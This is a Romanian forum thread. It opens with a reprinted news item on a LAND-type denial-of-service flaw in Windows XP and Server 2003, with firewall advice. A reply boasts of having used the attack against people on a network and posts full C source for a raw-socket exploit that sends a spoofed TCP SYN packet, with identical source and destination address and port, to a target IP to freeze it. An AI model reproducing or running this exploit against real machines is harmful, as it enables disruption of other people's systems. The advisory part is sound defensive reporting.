Jump to content
zbeng

Vulnerabilitate Windows ce permite atacuri DoS

Recommended Posts

Vulnerabilitate Windows ce permite atacuri DoS

A fost anuntata existenta unei vulnerabilitati in sistemele de operare Windows XP si Windows Server 2003, care exploatata poate permite unui atacator sa lanseze atacuri de tip Denial of Service (DoS).

Cauza vulnerabilitatii pare sa fie o verificare incompleta in modul in care sunt analizate pachetele TCP/IP primite pe interfetele de retea ale sistemului.

Astfel, un atacator poate trimite un pachet TCP/IP special modificat, efectul fiind utilizarea in proportie de 100% a procesorului un interval intre 5 si 20 de secunde in care sistemul nu mai raspunde, sau reactioneaza foarte greu la comenzile utilizatorului.

Dupa trecerea intervalului de timp in care sistemul este aproape blocat, functionarea revine la normal fara efecte secundare ulterioare. Totusi, un atac ulterior va conduce la aparitia aceleiasi probleme. Astfel, trimiterea la fiecare 5 secunde a unui pachet modificat poate scoate aproape complet din uz un sistem afectat.

Acest atac este de tip LAND, iar pachetul special modificat are urmatoarele caracteristici:

- sursa si destinatia pachetului sunt setate sa fie aceleasi, si anume adresa IP a sistemului atacat

- porturile sursa si destinatie au aceeasi valoare

- flag-ul SYN este activat.

In urma testelor efectuate de GeCAD NET, concluzia este ca pentru a se putea exploata vulnerabilitatea, este necesar ca unul din urmatoarele seturi de conditii sa fie indeplinit:

- sistemul afectat sa nu aiba un firewall si sa ofere cel putin un serviciu care foloseste un port accesibil

- sistemul sa aiba firewall, dar sa permita accesul din exterior pe anumite porturi folosite de servicii.

In cazul in care nu este disponibil nici un port prin folosirea unui firewall, sau este permis accesul pe un port dar nu este nici un serviciu activ care sa il utilizeze, atacul nu are efectul mentionat mai sus.

De asemenea, firewall-ul din Windows Server 2003, cat si utilizarea ISA Server 2004 au reusit oprirea pachetului modificat inainte ca acesta sa cauzeze efectul de tip Denial of Service.

Versiunile afectate de aceasta vulnerabilitate sunt Windows Server 2003 Datacenter Edition, Windows Server 2003 Enterprise Edition, Windows Server 2003 Standard Edition, Windows Server 2003 Web Edition, Windows XP Home Edition, Windows XP Professional.

Drept solutie, este recomandata folosirea unui firewall care sa filtreze accesul la porturile folosite de serviciile oferite de sistemele afectate

Source Chip

Link to comment
Share on other sites

heh...e putin cam veche aceasta noutate....dar imi aminteste de vremurile in care terorizam lumea din retea cu acest tip de atac.....cine e interesat are mai jos codul sursa


#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sysexits.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

/*
Windows Server 2003 and XP SP2 remote DoS exploit
Tested under OpenBSD 3.6 at WinXP SP 2
Vuln by Dejan Levaja <dejan_@_levaja.com>
(c)oded by __blf 2005 RusH Security Team , [url]http://rst.void.ru[/url]
Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor
Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy
All rights reserved.
*/

//checksum function by r0ach
u_short checksum (u_short *addr, int len)
{
u_short *w = addr;
int i = len;
int sum = 0;
u_short answer;
while (i > 0)
{
sum += *w++;
i-=2;
}
if (i == 1) sum += *(u_char *)w;
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
return (~sum);
}
int main(int argc, char ** argv)
{
struct in_addr src, dst;
struct sockaddr_in sin;
struct _pseudoheader {
struct in_addr source_addr;
struct in_addr destination_addr;
u_char zero;
u_char protocol;
u_short length;
} pseudoheader;
struct ip * iph;
struct tcphdr * tcph;
int mysock;
u_char * packet;
u_char * pseudopacket;
int on = 1;
if( argc != 3)
{
fprintf(stderr, "r57windos.c by __blf\n");
fprintf(stderr, "RusH Security Team\n");
fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]);
return EX_USAGE;
}
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)
{
perror("malloc()\n");
return EX_OSERR;
}
inet_aton(argv[1], &src);
inet_aton(argv[1], &dst);
iph = (struct ip *) packet;
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
iph->ip_off = htons(IP_DF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0;
iph->ip_src = src;
iph->ip_dst = dst;
tcph = (struct tcphdr *)(packet +sizeof(struct ip));
tcph->th_sport = htons(atoi(argv[2]));
tcph->th_dport = htons(atoi(argv[2]));
tcph->th_seq = ntohl(rand());
tcph->th_ack = rand();
tcph->th_off = 5;
tcph->th_flags = TH_SYN; // setting up TCP SYN flag here
tcph->th_win = htons(512);
tcph->th_sum = 0;
tcph->th_urp = 0;
pseudoheader.source_addr = src;
pseudoheader.destination_addr = dst;
pseudoheader.zero = 0;
pseudoheader.protocol = IPPROTO_TCP;
pseudoheader.length = htons(sizeof(struct tcphdr));
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)
{
perror("malloc()\n");
return EX_OSERR;
}
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));
tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(!mysock)
{
perror("socket!\n");
return EX_OSERR;
}
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("setsockopt");
shutdown(mysock, 2);
return EX_OSERR;
}
sin.sin_family = PF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(80);
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0,
(struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror("sendto()\n");
shutdown(mysock, 2);
return EX_OSERR;
}
printf("Packet sent. Remote machine should be down.\n");
shutdown(mysock, 2);
return EX_OK;
}

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...